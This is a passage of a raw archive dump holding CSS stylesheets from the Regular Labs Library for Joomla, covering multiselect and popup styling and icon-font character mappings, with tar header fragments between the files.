4px;font-size:10px;line-height:8px}.btn-group>.btn-micro{font-size:10px}.tip-wrap{max-width:200px;padding:3px
8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;z-index:100}.dropdown-menu,.form-vertical
.control-label,.tip-text,.tooltip-inner{text-align:left}.page-header{margin:2px
0 10px;padding-bottom:5px}.input-prepend .chzn-container-single
.chzn-single{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px
0;border-radius:0 3px 3px 0}.input-prepend .chzn-container-single
.chzn-single-with-drop{-webkit-border-radius:0 3px 0 0;-moz-border-radius:0
3px 0 0;border-radius:0 3px 0 0}.input-append .chzn-container-single
.chzn-single{-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0
3px;border-radius:3px 0 0 3px}.input-append .chzn-container-single
.chzn-single-with-drop{-webkit-border-radius:3px 0 0
0;-moz-border-radius:3px 0 0;border-radius:3px 0
0}.input-prepend.input-append .chzn-container-single
.chzn-single,.input-prepend.input-append .chzn-container-single
.chzn-single-with-drop{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.element-invisible{position:absolute;padding:0;margin:0;border:0;height:1px;width:1px;overflow:hidden}.element-invisible:focus{width:auto;height:auto;overflow:auto;background:#eee;color:#000;padding:1em}.form-vertical
.control-label{float:none;width:auto;padding-right:0;padding-top:0}.form-vertical
.controls{margin-left:0}.width-auto{width:auto}.btn-group
.chzn-results{white-space:normal}.accordion-body.in:hover{overflow:visible}.invalid{color:#9d261d}input.invalid{border:1px
solid
#9d261d;background:#f2dede}select.chzn-done.invalid+.chzn-container.chzn-container-multi>ul.chzn-choices,select.chzn-done.invalid+.chzn-container.chzn-container-single>a.chzn-single{border-color:#9d261d;color:#9d261d}.tooltip{max-width:400px}.tooltip-inner{max-width:none;text-shadow:none}th
.tooltip-inner{font-weight:400}.btn-group>.btn+.dropdown-backdrop+.btn{margin-left:-1px}.btn-group>.btn+.dropdown-backdrop+.dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset
1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px
0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05);*padding-top:5px;*padding-bottom:5px}.btn-group>.btn-mini+.dropdown-backdrop+.dropdown-toggle{padding-left:5px;padding-right:5px;*padding-top:2px;*padding-bottom:2px}.btn-group>.btn-small+.dropdown-backdrop+.dropdown-toggle{*padding-top:5px;*padding-bottom:4px}.btn-group>.btn-large+.dropdown-backdrop+.dropdown-toggle{padding-left:12px;padding-right:12px;*padding-top:7px;*padding-bottom:7px}.alert
.alert-link{color:#a47e3c}.alert-success
.alert-link{color:#356635}.alert-danger .alert-link,.alert-error
.alert-link{color:#953b39}.alert-info
.alert-link{color:#2d6987}@font-face{font-family:IcoMoon;src:url(../../../../media/jui/fonts/IcoMoon.eot);src:url(../../../../media/jui/fonts/IcoMoon.eot?#iefix)
format('embedded-opentype'),url(../../../../media/jui/fonts/IcoMoon.woff)
format('woff'),url(../../../../media/jui/fonts/IcoMoon.ttf)
format('truetype'),url(../../../../media/jui/fonts/IcoMoon.svg#IcoMoon)
format('svg');font-weight:400;font-style:normal}[data-icon]:before{font-family:IcoMoon;content:attr(data-icon);speak:none}[class*="
icon-"],[class^=icon-]{display:inline-block;width:14px;height:14px;margin-right:.25em;line-height:14px}[class*="
icon-"]:before,[class^=icon-]:before{font-family:IcoMoon;font-style:normal;speak:none}[class*="
icon-"].disabled,[class^=icon-].disabled{font-weight:400}.icon-joomla:before{content:"\e200"}.icon-arrow-up:before,.icon-chevron-up:before,.icon-uparrow:before{content:"\e005"}.icon-arrow-right:before,.icon-chevron-right:before,.icon-rightarrow:before{content:"\e006"}.icon-arrow-down:before,.icon-chevron-down:before,.icon-downarrow:before{content:"\e007"}.icon-arrow-left:before,.icon-chevron-left:before,.icon-leftarrow:before{content:"\e008"}.icon-arrow-first:before{content:"\e003"}.icon-arrow-last:before{content:"\e004"}.icon-arrow-up-2:before{content:"\e009"}.icon-arrow-right-2:before{content:"\e00a"}.icon-arrow-down-2:before{content:"\e00b"}.icon-arrow-left-2:before{content:"\e00c"}.icon-arrow-up-3:before{content:"\e00f"}.icon-arrow-right-3:before{content:"\e010"}.icon-arrow-down-3:before{content:"\e011"}.icon-arrow-left-3:before{content:"\e012"}.icon-menu-2:before{content:"\e00e"}.icon-arrow-up-4:before{content:"\e201"}.icon-arrow-right-4:before{content:"\e202"}.icon-arrow-down-4:before{content:"\e203"}.icon-arrow-left-4:before{content:"\e204"}.icon-redo:before,.icon-share:before{content:"\27"}.icon-undo:before{content:"\28"}.icon-forward-2:before{content:"\e205"}.icon-backward-2:before,.icon-reply:before{content:"\e206"}.icon-redo-2:before,.icon-refresh:before,.icon-unblock:before{content:"\6c"}.icon-undo-2:before{content:"\e207"}.icon-move:before{content:"\7a"}.icon-expand:before{content:"\66"}.icon-contract:before{content:"\67"}.icon-expand-2:before{content:"\68"}.icon-contract-2:before{content:"\69"}.icon-play:before{content:"\e208"}.icon-pause:before{content:"\e209"}.icon-stop:before{content:"\e210"}.icon-backward:before,.icon-previous:before{content:"\7c"}.icon-forward:before,.icon-next:before{content:"\7b"}.icon-first:before{content:"\7d"}.icon-last:before{content:"\e000"}.icon-play-circle:before{content:"\e00d"}.icon-pause-circle:before{content:"\e211"}.icon-stop-circle:before{content:"\e212"}.icon-backward-circle:before{content:"\e213"}.icon-forward-circle:before{content:"\e214"}.icon-loop:before{content:"\e001"}.icon-shuffle:before{content:"\e002"}.icon-search:before{content:"\53"}.icon-zoom-in:before{content:"\64"}.icon-zoom-out:before{content:"\65"}.icon-apply:before,.icon-edit:before,.icon-pencil:before{content:"\2b"}.icon-pencil-2:before{content:"\2c"}.icon-brush:before{content:"\3b"}.icon-plus-2:before,.icon-save-new:before{content:"\5d"}.icon-minus-2:before,.icon-minus-sign:before{content:"\5e"}.icon-cancel-2:before,.icon-delete:before,.icon-remove:before{content:"\49"}.icon-checkmark:before,.icon-ok:before,.icon-publish:before,.icon-save:before{content:"\47"}.icon-new:before,.icon-plus:before{content:"\2a"}.icon-plus-circle:before{content:"\e215"}.icon-minus:before,.icon-not-ok:before{content:"\4b"}.icon-ban-circle:before,.icon-minus-circle:before{content:"\e216"}.icon-cancel:before,.icon-unpublish:before{content:"\4a"}.icon-cancel-circle:before{content:"\e217"}.icon-checkmark-2:before{content:"\e218"}.icon-checkmark-circle:before{content:"\e219"}.icon-info:before{content:"\e220"}.icon-info-2:before,.icon-info-circle:before{content:"\e221"}.icon-help:before,.icon-question-sign:before,.icon-question:before{content:"\45"}.icon-question-2:before,.icon-question-circle:before{content:"\e222"}.icon-notification:before{content:"\e223"}.icon-notification-2:before,.icon-notification-circle:before{content:"\e224"}.icon-pending:before,.icon-warning:before{content:"\48"}.icon-warning-2:before,.icon-warning-circle:before{content:"\e225"}.icon-checkbox-unchecked:before{content:"\3d"}.icon-checkbox-checked:before,.icon-checkbox:before,.icon-checkin:before{content:"\3e"}.icon-checkbox-partial:before{content:"\3f"}.icon-square:before{content:"\e226"}.icon-radio-unchecked:before{content:"\e227"}.icon-generic:before,.icon-radio-checked:before{content:"\e228"}.icon-circle:before{content:"\e229"}.icon-signup:before{content:"\e230"}.icon-grid-view:before,.icon-grid:before{content:"\58"}.icon-grid-2:before,.icon-grid-view-2:before{content:"\59"}.icon-menu:before{content:"\5a"}.icon-list-view:before,.icon-list:before{content:"\31"}.icon-list-2:before{content:"\e231"}.icon-menu-3:before{content:"\e232"}.icon-folder-open:before,.icon-folder:before{content:"\2d"}.icon-folder-2:before,.icon-folder-close:before{content:"\2e"}.icon-folder-plus:before{content:"\e234"}.icon-folder-minus:before{content:"\e235"}.icon-folder-3:before{content:"\e236"}.icon-folder-plus-2:before{content:"\e237"}.icon-folder-remove:before{content:"\e238"}.icon-file:before{content:"\e016"}.icon-file-2:before{content:"\e239"}.icon-file-add:before,.icon-file-plus:before{content:"\29"}.icon-file-minus:before{content:"\e017"}.icon-file-check:before{content:"\e240"}.icon-file-remove:before{content:"\e241"}.icon-copy:before,.icon-save-copy:before{content:"\e018"}.icon-stack:before{content:"\e242"}.icon-tree:before{content:"\e243"}.icon-tree-2:before{content:"\e244"}.icon-paragraph-left:before{content:"\e246"}.icon-paragraph-center:before{content:"\e247"}.icon-paragraph-right:before{content:"\e248"}.icon-paragraph-justify:before{content:"\e249"}.icon-screen:before{content:"\e01c"}.icon-tablet:before{content:"\e01d"}.icon-mobile:before{content:"\e01e"}.icon-box-add:before{content:"\51"}.icon-box-remove:before{content:"\52"}.icon-download:before{content:"\e021"}.icon-upload:before{content:"\e022"}.icon-home:before{content:"\21"}.icon-home-2:before{content:"\e250"}.icon-new-tab:before,.icon-out-2:before{content:"\e024"}.icon-new-tab-2:before,.icon-out-3:before{content:"\e251"}.icon-link:before{content:"\e252"}.icon-image:before,.icon-picture:before{content:"\2f"}.icon-images:before,.icon-pictures:before{content:"\30"}.icon-color-palette:before,.icon-palette:before{content:"\e014"}.icon-camera:before{content:"\55"}.icon-camera-2:before,.icon-video:before{content:"\e015"}.icon-play-2:before,.icon-video-2:before,.icon-youtube:before{content:"\56"}.icon-music:before{content:"\57"}.icon-user:before{content:"\22"}.icon-users:before{content:"\e01f"}.icon-vcard:before{content:"\6d"}.icon-address:before{content:"\70"}.icon-out:before,.icon-share-alt:before{content:"\26"}.icon-enter:before{content:"\e257"}.icon-exit:before{content:"\e258"}.icon-comment:before,.icon-comments:before{content:"\24"}.icon-comments-2:before{content:"\25"}.icon-quote:before,.icon-quotes-left:before{content:"\60"}.icon-quote-2:before,.icon-quotes-right:before{content:"\61"}.icon-bubble-quote:before,.icon-quote-3:before{content:"\e259"}.icon-phone:before{content:"\e260"}.icon-phone-2:before{content:"\e261"}.icon-envelope:before,.icon-mail:before{content:"\4d"}.icon-envelope-opened:before,.icon-mail-2:before{content:"\4e"}.icon-drawer:before,.icon-unarchive:before{content:"\4f"}.icon-archive:before,.icon-drawer-2:before{content:"\50"}.icon-briefcase:before{content:"\e020"}.icon-tag:before{content:"\e262"}.icon-tag-2:before{content:"\e263"}.icon-tags:before{content:"\e264"}.icon-tags-2:before{content:"\e265"}.icon-cog:before,.icon-options:before{content:"\38"}.icon-cogs:before{content:"\37"}.icon-screwdriver:before,.icon-tools:before{content:"\36"}.icon-wrench:before{content:"\3a"}.icon-equalizer:before{content:"\39"}.icon-dashboard:before{content:"\78"}.icon-switch:before{content:"\e266"}.icon-filter:before{content:"\54"}.icon-purge:before,.icon-trash:before{content:"\4c"}.icon-checkedout:before,.icon-lock:before,.icon-locked:before{content:"\23"}.icon-unlock:before{content:"\e267"}.icon-key:before{content:"\5f"}.icon-support:before{content:"\46"}.icon-database:before{content:"\62"}.icon-scissors:before{content:"\e268"}.icon-health:before{content:"\6a"}.icon-wand:before{content:"\6b"}.icon-eye-open:before,.icon-eye:before{content:"\3c"}.icon-eye-2:before,.icon-eye-blocked:before,.icon-eye-close:before{content:"\e269"}.icon-clock:before{content:"\6e"}.icon-compass:before{content:"\6f"}.icon-broadcast:before,.icon-connection:before,.icon-wifi:before{content:"\e01b"}.icon-book:before{content:"\e271"}.icon-flash:before,.icon-lightning:before{content:"\79"}.icon-print:before,.icon-printer:before{content:"\e013"}.icon-feed:before{content:"\71"}.icon-calendar:before{content:"\43"}.icon-calendar-2:before{content:"\44"}.icon-calendar-3:before{content:"\e273"}.icon-pie:before{content:"\77"}.icon-bars:before{content:"\76"}.icon-chart:before{content:"\75"}.icon-power-cord:before{content:"\32"}.icon-cube:before{content:"\33"}.icon-puzzle:before{content:"\34"}.icon-attachment:before,.icon-flag-2:before,.icon-paperclip:before{content:"\72"}.icon-lamp:before{content:"\74"}.icon-pin:before,.icon-pushpin:before{content:"\73"}.icon-location:before{content:"\63"}.icon-shield:before{content:"\e274"}.icon-flag:before{content:"\35"}.icon-flag-3:before{content:"\e275"}.icon-bookmark:before{content:"\e023"}.icon-bookmark-2:before{content:"\e276"}.icon-heart:before{content:"\e277"}.icon-heart-2:before{content:"\e278"}.icon-thumbs-up:before{content:"\5b"}.icon-thumbs-down:before{content:"\5c"}.icon-asterisk:before,.icon-star-empty:before,.icon-unfeatured:before{content:"\40"}.icon-star-2:before{content:"\41"}.icon-default:before,.icon-featured:before,.icon-star:before{content:"\42"}.icon-smiley-happy:before,.icon-smiley:before{content:"\e279"}.icon-smiley-2:before,.icon-smiley-happy-2:before{content:"\e280"}.icon-smiley-sad:before{content:"\e281"}.icon-smiley-sad-2:before{content:"\e282"}.icon-smiley-neutral:before{content:"\e283"}.icon-smiley-neutral-2:before{content:"\e284"}.icon-cart:before{content:"\e019"}.icon-basket:before{content:"\e01a"}.icon-credit:before{content:"\e286"}.icon-credit-2:before{content:"\e287"}.icon-expired:before{content:"\4b"}.icon-edit:before{color:#2f96b4}.btn-toolbar
.icon-copy:before,.icon-ok:before,.icon-publish:before,.icon-save-copy:before,.icon-save-new:before,.icon-save:before{color:#51a351}.btn-toolbar
.icon-cancel:before,.icon-ban-circle:before,.icon-eye-close:before,.icon-minus-sign:before,.icon-not-ok:before,.icon-unpublish:before{color:#bd362f}.icon-default:before,.icon-expired:before,.icon-featured:before,.icon-pending:before{color:#f89406}.icon-back:before{content:"\e008"}div.rl_multiselect
ul.rl_multiselect-ul{margin:8px 0 0;padding:0}div.rl_multiselect
ul.rl_multiselect-ul li{margin:0;padding:2px
10px;list-style:none}div.rl_multiselect ul.rl_multiselect-ul
span.rl_multiselect-toggle{line-height:18px}div.rl_multiselect
ul.rl_multiselect-ul label{font-size:1em;margin-left:8px}div.rl_multiselect
ul.rl_multiselect-ul label.nav-header{padding:0}div.rl_multiselect
ul.rl_multiselect-ul input{margin:2px 0 0 8px}div.rl_multiselect
ul.rl_multiselect-ul .rl_multiselect-menu{margin:0 6px}div.rl_multiselect
ul.rl_multiselect-ul ul.dropdown-menu{margin:0}div.rl_multiselect
ul.rl_multiselect-ul ul.dropdown-menu li{padding:0
5px;border:none}[class*=" chzn-color"].chzn-single,[class*="
chzn-color"].chzn-single
.chzn-single-with-drop,[class^=chzn-color].chzn-single,[class^=chzn-color].chzn-single
.chzn-single-with-drop{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.chzn-color-reverse.chzn-single[rel=value_0],.chzn-color-state.chzn-single[rel=value_1],.chzn-color.chzn-single[rel=value_1]{color:#fff;text-shadow:0
-1px 0
rgba(0,0,0,.25);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0
0,0
100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(to
bottom,#62c462,#51a351);background-repeat:repeat-x;border-color:#51a351
#51a351
#387038;*background-color:#51a351;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.chzn-color-reverse.chzn-single[rel=value_0].active,.chzn-color-reverse.chzn-single[rel=value_0].disabled,.chzn-color-reverse.chzn-single[rel=value_0]:active,.chzn-color-reverse.chzn-single[rel=value_0]:focus,.chzn-color-reverse.chzn-single[rel=value_0]:hover,.chzn-color-reverse.chzn-single[rel=value_0][disabled],.chzn-color-state.chzn-single[rel=value_1].active,.chzn-color-state.chzn-single[rel=value_1].disabled,.chzn-color-state.chzn-single[rel=value_1]:active,.chzn-color-state.chzn-single[rel=value_1]:focus,.chzn-color-state.chzn-single[rel=value_1]:hover,.chzn-color-state.chzn-single[rel=value_1][disabled],.chzn-color.chzn-single[rel=value_1].active,.chzn-color.chzn-single[rel=value_1].disabled,.chzn-color.chzn-single[rel=value_1]:active,.chzn-color.chzn-single[rel=value_1]:focus,.chzn-color.chzn-single[rel=value_1]:hover,.chzn-color.chzn-single[rel=value_1][disabled]{color:#fff;background-color:#51a351;*background-color:#499249}.chzn-color-reverse.chzn-single[rel=value_0].active,.chzn-color-reverse.chzn-single[rel=value_0]:active,.chzn-color-state.chzn-single[rel=value_1].active,.chzn-color-state.chzn-single[rel=value_1]:active,.chzn-color.chzn-single[rel=value_1].active,.chzn-color.chzn-single[rel=value_1]:active{background-color:#408140\9}.chzn-color-reverse.chzn-single[rel=value_1],.chzn-color-state.chzn-single[rel=value_0],.chzn-color-state.chzn-single[rel=value_-1],.chzn-color-state.chzn-single[rel=value_-2],.chzn-color.chzn-single[rel=value_0]{color:#fff;text-shadow:0
-1px 0
rgba(0,0,0,.25);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0
0,0
100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(to
bottom,#ee5f5b,#bd362f);background-repeat:repeat-x;border-color:#bd362f
#bd362f
#802420;*background-color:#bd362f;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.chzn-color-reverse.chzn-single[rel=value_1].active,.chzn-color-reverse.chzn-single[rel=value_1].disabled,.chzn-color-reverse.chzn-single[rel=value_1]:active,.chzn-color-reverse.chzn-single[rel=value_1]:focus,.chzn-color-reverse.chzn-single[rel=value_1]:hover,.chzn-color-reverse.chzn-single[rel=value_1][disabled],.chzn-color-state.chzn-single[rel=value_0].active,.chzn-color-state.chzn-single[rel=value_0].disabled,.chzn-color-state.chzn-single[rel=value_0]:active,.chzn-color-state.chzn-single[rel=value_0]:focus,.chzn-color-state.chzn-single[rel=value_0]:hover,.chzn-color-state.chzn-single[rel=value_0][disabled],.chzn-color-state.chzn-single[rel=value_-1].active,.chzn-color-state.chzn-single[rel=value_-1].disabled,.chzn-color-state.chzn-single[rel=value_-1]:active,.chzn-color-state.chzn-single[rel=value_-1]:focus,.chzn-color-state.chzn-single[rel=value_-1]:hover,.chzn-color-state.chzn-single[rel=value_-1][disabled],.chzn-color-state.chzn-single[rel=value_-2].active,.chzn-color-state.chzn-single[rel=value_-2].disabled,.chzn-color-state.chzn-single[rel=value_-2]:active,.chzn-color-state.chzn-single[rel=value_-2]:focus,.chzn-color-state.chzn-single[rel=value_-2]:hover,.chzn-color-state.chzn-single[rel=value_-2][disabled],.chzn-color.chzn-single[rel=value_0].active,.chzn-color.chzn-single[rel=value_0].disabled,.chzn-color.chzn-single[rel=value_0]:active,.chzn-color.chzn-single[rel=value_0]:focus,.chzn-color.chzn-single[rel=value_0]:hover,.chzn-color.chzn-single[rel=value_0][disabled]{color:#fff;background-color:#bd362f;*background-color:#a9302a}.chzn-color-reverse.chzn-single[rel=value_1].active,.chzn-color-reverse.chzn-single[rel=value_1]:active,.chzn-color-state.chzn-single[rel=value_0].active,.chzn-color-state.chzn-single[rel=value_0]:active,.chzn-color-state.chzn-single[rel=value_-1].active,.chzn-color-state.chzn-single[rel=value_-1]:active,.chzn-color-state.chzn-single[rel=value_-2].active,.chzn-color-state.chzn-single[rel=value_-2]:active,.chzn-color.chzn-single[rel=value_0].active,.chzn-color.chzn-single[rel=value_0]:active{background-color:#942a25\9}.controls
.btn-group>.btn{min-width:50px}.controls
.btn-group.btn-group-yesno>.btn{min-width:84px;padding:2px
12px}.control-label>label>h4{margin-bottom:0}.controls>fieldset{margin-bottom:0;padding-top:0;padding-bottom:0}.chzn-container
.chzn-drop{z-index:1040}css/multiselect.css000064400000002177151165506420010414
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
div.rl_multiselect {
margin-bottom: 0;
}
div.rl_multiselect ul.rl_multiselect-ul {
margin: 0;
padding: 0;
margin-top: 8px;
}
div.rl_multiselect ul.rl_multiselect-ul li {
margin: 0;
padding: 2px 10px 2px;
list-style: none;
}
div.rl_multiselect ul.rl_multiselect-ul span.rl_multiselect-toggle {
line-height: 18px;
}
div.rl_multiselect ul.rl_multiselect-ul label {
font-size: 1em;
margin-left: 8px;
}
div.rl_multiselect ul.rl_multiselect-ul label.nav-header {
padding: 0;
}
div.rl_multiselect ul.rl_multiselect-ul input {
margin: 2px 0 0 8px;
}
div.rl_multiselect ul.rl_multiselect-ul .rl_multiselect-menu {
margin: 0 6px;
}
div.rl_multiselect ul.rl_multiselect-ul ul.dropdown-menu {
margin: 0;
}
div.rl_multiselect ul.rl_multiselect-ul ul.dropdown-menu li {
padding: 0 5px;
border: none;
}
css/multiselect.min.css000064400000001277151165506420011176
0ustar00div.rl_multiselect{margin-bottom:0}div.rl_multiselect
ul.rl_multiselect-ul{margin:8px 0 0;padding:0}div.rl_multiselect
ul.rl_multiselect-ul li{margin:0;padding:2px
10px;list-style:none}div.rl_multiselect ul.rl_multiselect-ul
span.rl_multiselect-toggle{line-height:18px}div.rl_multiselect
ul.rl_multiselect-ul label{font-size:1em;margin-left:8px}div.rl_multiselect
ul.rl_multiselect-ul label.nav-header{padding:0}div.rl_multiselect
ul.rl_multiselect-ul input{margin:2px 0 0 8px}div.rl_multiselect
ul.rl_multiselect-ul .rl_multiselect-menu{margin:0 6px}div.rl_multiselect
ul.rl_multiselect-ul ul.dropdown-menu{margin:0}div.rl_multiselect
ul.rl_multiselect-ul ul.dropdown-menu li{padding:0
5px;border:none}css/popup.css000064400000016744151165506420007232
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@font-face {
font-family: 'RegularLabs';
src: url('../fonts/RegularLabs.eot');
src: url('../fonts/RegularLabs.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabs.woff') format('woff'),
url('../fonts/RegularLabs.ttf') format('truetype'),
url('../fonts/RegularLabs.svg#RegularLabs')
format('svg');
font-weight: normal;
font-style: normal;
}
@font-face {
font-family: 'RegularLabsIcons';
src: url('../fonts/RegularLabsIcons.eot');
src: url('../fonts/RegularLabsIcons.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabsIcons.woff') format('woff'),
url('../fonts/RegularLabsIcons.ttf')
format('truetype'),
url('../fonts/RegularLabsIcons.svg#RegularLabsIcons')
format('svg');
font-weight: normal;
font-style: normal;
}
.icon-reglab,
[class^="icon-reglab-"],
[class*=" icon-reglab-"] {
display: inline-block;
width: 14px;
height: 14px;
*margin-right: 0.3em;
line-height: 16px;
font-size: 16px;
speak: none;
font-style: normal;
font-weight: normal;
font-variant: normal;
text-transform: none;
/* Better Font Rendering =========== */
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.icon-reglab:before {
font-family: 'RegularLabs' !important;
font-size: 14.2px !important;
}
h1 .icon-reglab:before,
h2 .icon-reglab:before {
font-size: 16px !important;
}
.btn .icon-reglab {
text-indent: -2px;
font-size: 12px;
}
.btn .icon-reglab:before {
vertical-align: -3px;
}
.icon-reglab-24:before {
vertical-align: -5px;
}
@media screen and (-webkit-min-device-pixel-ratio: 0) {
.icon-reglab-24:before {
vertical-align: -3px;
}
}
.icon-reglab:before {
content: "\e000";
}
.icon-nonumber:before {
content: "\e100";
}
.icon-addtomenu:before {
content: "\e001";
}
.icon-advancedmodulemanager:before {
content: "\e003";
}
.icon-advancedtemplatemanager:before {
content: "\e015";
}
.icon-articlesanywhere:before {
content: "\e004";
}
.icon-articlesfield:before {
content: "\e01d";
}
.icon-betterpreview:before {
content: "\e005";
}
.icon-bettertrash:before {
content: "\e01b";
}
.icon-cachecleaner:before {
content: "\e006";
}
.icon-cdnforjoomla:before {
content: "\e007";
}
.icon-componentsanywhere:before {
content: "\e008";
}
.icon-conditionalcontent:before {
content: "\e019";
}
.icon-contenttemplater:before {
content: "\e009";
}
.icon-dbreplacer:before {
content: "\e00a";
}
.icon-dummycontent:before {
content: "\e017";
}
.icon-emailprotector:before {
content: "\e00b";
}
.icon-geoip:before {
content: "\e018";
}
.icon-iplogin:before {
content: "\e016";
}
.icon-keyboardshortcuts:before {
content: "\e01e";
}
.icon-modals:before {
content: "\e00c";
}
.icon-modulesanywhere:before {
content: "\e00d";
}
.icon-quickindex:before {
content: "\e01c";
}
.icon-rereplacer:before {
content: "\e00e";
}
.icon-simpleusernotes:before {
content: "\e01a";
}
.icon-sliders:before {
content: "\e00f";
}
.icon-snippets:before {
content: "\e010";
}
.icon-sourcerer:before {
content: "\e011";
}
.icon-tabs:before {
content: "\e012";
}
.icon-tooltips:before {
content: "\e014";
}
.icon-whatnothing:before {
content: " ";
width: 16px;
display: inline-block;
}
[class^="icon-reglab-"]:before,
[class*=" icon-reglab-"]:before {
font-family: 'RegularLabsIcons' !important;
}
.icon-reglab-paragraph-left:before {
content: "\e001";
}
.icon-reglab-paragraph-center:before {
content: "\e002";
}
.icon-reglab-paragraph-right:before {
content: "\e003";
}
.icon-reglab-paragraph-justify:before {
content: "\e004";
}
.icon-reglab-undo:before {
content: "\e005";
}
.icon-reglab-redo:before {
content: "\e006";
}
.icon-reglab-spinner:before {
content: "\e007";
}
.icon-reglab-lock:before {
content: "\e008";
}
.icon-reglab-unlocked:before {
content: "\e009";
}
.icon-reglab-cog:before {
content: "\e00a";
}
.icon-reglab-arrow-up:before {
content: "\e00b";
}
.icon-reglab-arrow-right:before {
content: "\e00c";
}
.icon-reglab-arrow-down:before {
content: "\e00d";
}
.icon-reglab-arrow-left:before {
content: "\e00e";
}
.icon-reglab-top:before {
content: "\e00f";
}
.icon-reglab-bottom:before {
content: "\e010";
}
.icon-reglab-simple:before {
content: "\e011";
}
.icon-reglab-normal:before {
content: "\e012";
}
.icon-reglab-advanced:before {
content: "\e013";
}
.icon-reglab-home:before {
content: "\e014";
}
.icon-reglab-info:before {
content: "\e015";
}
.icon-reglab-warning:before {
content: "\e016";
}
.icon-reglab-not-ok:before {
content: "\e017";
}
.icon-reglab-link:before {
content: "\e018";
}
.icon-reglab-eye:before {
content: "\e019";
}
.icon-reglab-search:before {
content: "\e01a";
}
.icon-reglab-earth:before {
content: "\e01f";
}
.icon-reglab-src_sourcetags:before {
content: "\e01b";
}
.icon-reglab-src_nosourcetags:before {
content: "\e01c";
}
.icon-reglab-src_tagstyle:before {
content: "\e01d";
}
.icon-reglab-src_tagstyle_brackets:before {
content: "\e01e";
}
.icon-reglab-bundle:before {
content: "\e021";
}
.icon-reglab-lifetime:before {
content: "\e022";
}
.icon-reglab-twitter:before {
content: "\e030";
}
.icon-reglab-google-plus:before {
content: "\e031";
}
.icon-reglab-facebook:before {
content: "\e032";
}
.icon-reglab-joomla:before {
content: "\e033";
}
.icon-reglab.icon-src_sourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01b";
}
.icon-reglab.icon-src_nosourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01c";
}
.icon-reglab.icon-src_tagstyle:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01d";
}
.icon-reglab.icon-src_tagstyle_brackets:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01e";
}
.icon-expired:before {
content: "\6e";
}
body.reglab-popup {
padding: 0;
}
body.reglab-popup .container-fluid {
padding: 0 20px;
}
body.reglab-popup .navbar {
margin-bottom: 10px;
}
body.reglab-popup .navbar .navbar-inner {
padding-left: 0;
padding-right: 0;
border-radius: 0;
border-left: none;
border-right: none;
}
body.reglab-popup .navbar .btn-toolbar,
body.reglab-popup .navbar #toolbar {
margin-top: 2px;
margin-bottom: 2px;
}
body.reglab-popup .header {
margin-left: 0;
margin-right: 0;
}
body.reglab-popup .header.has-navbar-fixed-top {
margin-top: 44px;
margin-bottom: 10px;
padding-top: 2px;
padding-bottom: 2px;
}
body.reglab-popup .subhead {
margin-left: 0;
margin-right: 0;
padding-left: 0;
padding-right: 0;
}
body.reglab-popup .page-title {
text-align: left;
}
body.reglab-popup label > span[class^="icon-reglab"] {
padding: 1px 0 3px;
}
body.reglab-popup .reglab-overlay {
background-color: #000000;
position: fixed;
left: 0;
top: 0;
width: 100%;
height: 100%;
z-index: 5000;
opacity: 0.2;
cursor: wait;
}
body.reglab-popup .chzn-container-single .chzn-single div b {
background: none !important;
}
body.reglab-popup .nav-tabs > li > a {
border-color: #eeeeee #eeeeee #dddddd;
background-color: #f5f5f5;
margin-right: 4px;
}
body.reglab-popup .nav-tabs > li > a:hover,
body.reglab-popup .nav-tabs > li > a:focus {
background-color: #eeeeee;
}
body.reglab-popup .nav-tabs > li.active a {
border-color: #dddddd;
border-bottom-color: transparent;
background-color: #ffffff;
}
css/popup.min.css000064400000013773151165506420010013
0ustar00body.reglab-popup .header,body.reglab-popup
.subhead{margin-left:0;margin-right:0}@font-face{font-family:RegularLabs;src:url(../fonts/RegularLabs.eot);src:url(../fonts/RegularLabs.eot?#iefix)
format('embedded-opentype'),url(../fonts/RegularLabs.woff)
format('woff'),url(../fonts/RegularLabs.ttf)
format('truetype'),url(../fonts/RegularLabs.svg#RegularLabs)
format('svg');font-weight:400;font-style:normal}@font-face{font-family:RegularLabsIcons;src:url(../fonts/RegularLabsIcons.eot);src:url(../fonts/RegularLabsIcons.eot?#iefix)
format('embedded-opentype'),url(../fonts/RegularLabsIcons.woff)
format('woff'),url(../fonts/RegularLabsIcons.ttf)
format('truetype'),url(../fonts/RegularLabsIcons.svg#RegularLabsIcons)
format('svg');font-weight:400;font-style:normal}.icon-reglab,[class*="
